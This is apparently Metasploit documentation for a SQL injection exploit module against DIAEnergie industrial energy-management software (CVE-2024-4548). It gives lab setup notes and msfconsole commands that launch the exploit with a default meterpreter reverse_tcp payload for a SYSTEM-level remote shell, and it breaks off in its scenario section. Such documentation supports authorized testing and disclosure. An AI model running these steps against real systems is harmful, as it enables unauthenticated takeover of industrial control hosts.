Vulnerable Application

Vulnerability Description

This module exploits a SQL injection vulnerability in DIAEnergie <= v8.28.0 (CVE-2024-4548).

An unauthenticated remote attacker can exploit this vulnerability to inject an arbitrary script through a SQL injection vulnerability, which can then be executed in the context of NT AUTHORITY\SYSTEM. The vulnerability is within the CEBC service, which listens by default on TCP port 928. It accepts various user-controlled data, including RecalculateHDMWYC messages, which are insufficiently validated before using them as part of a SQL query.

Versions <= 1.10.1.8610 are affected. Tenable published TRA-2024-13 to cover the security issues.

Vulnerable Application Installation

A trial version of the software can be obtained from [the vendor] (https://downloadcenter.deltaww.com/downloadCenterCounter.aspx?DID=39969&DocPath=1&hl=en-US). For the product to work correctly, SQL Server (e.g., SQL Server Express) needs to be installed.

Successfully tested on

  • DIAEnergie v1.10 on Windows 10 22H2

  • DIAEnergie v1.9 on Windows 10 22H2

Verification Steps

  1. Install the SQL Server (Express)

  2. Install DIAEnergie

  3. Start msfconsole and run the following commands:

msf6 > use exploit/windows/scada/diaenergie_sqli
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(windows/scada/diaenergie_sqli) > set RHOSTS <IP>
msf6 exploit(windows/scada/diaenergie_sqli) > exploit

You should get a meterpreter session in the context of NT AUTHORITY\SYSTEM.

Scenarios

Running the exploit against DIAEnergie v1.10 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the following:

msf6 exploit(windows/scada/diaenergie_sqli) > exploit
